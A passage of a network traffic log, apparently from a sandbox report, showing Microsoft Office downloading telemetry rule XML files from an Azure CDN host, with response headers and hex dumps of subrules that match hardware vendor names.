I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:42 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181242Z-174c587ffdfb485jhC1TEBmc1s00000004r00000000018gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:42 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 190bcf01-801e-0078-3650-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181242Z-15b8b599d88qw29phC1TEB5zag00000004p000000000n2c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:43 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:42 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181243Z-174c587ffdfgcs66hC1TEB69cs00000004m000000000gw4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:43 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	56369	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:44 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181245Z-178bfbc474bwh9gmhC1NYCy3rs000000069000000000m6kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	56370	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:44 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181245Z-178bfbc474bbbqrhhC1NYCvw7400000006b000000000p0b3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	56371	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:44 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181245Z-178bfbc474bbcwv4hC1NYCypys00000006700000000065xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:45 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	56372	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:44 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181245Z-178bfbc474btrnf9hC1NYCb80g00000006d000000000h2e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	56373	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:45 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 8dcc739e-c01e-0034-371d-3e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181245Z-15b8b599d889fz52hC1TEB59as00000004rg00000000czk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:12:45 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	56376	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:47 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181247Z-15b8b599d885ffrhhC1TEBtuv000000004wg000000006thq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	56375	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:47 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:47 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 0498098b-f01e-0003-1354-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181247Z-15b8b599d88s6mj9hC1TEBur3000000004qg00000000354k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:47 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	56377	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:47 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181247Z-15b8b599d88wn9hhhC1TEBry0g00000004ug00000000bxkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	56378	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:47 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181247Z-178bfbc474bwh9gmhC1NYCy3rs00000006g000000000142p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" 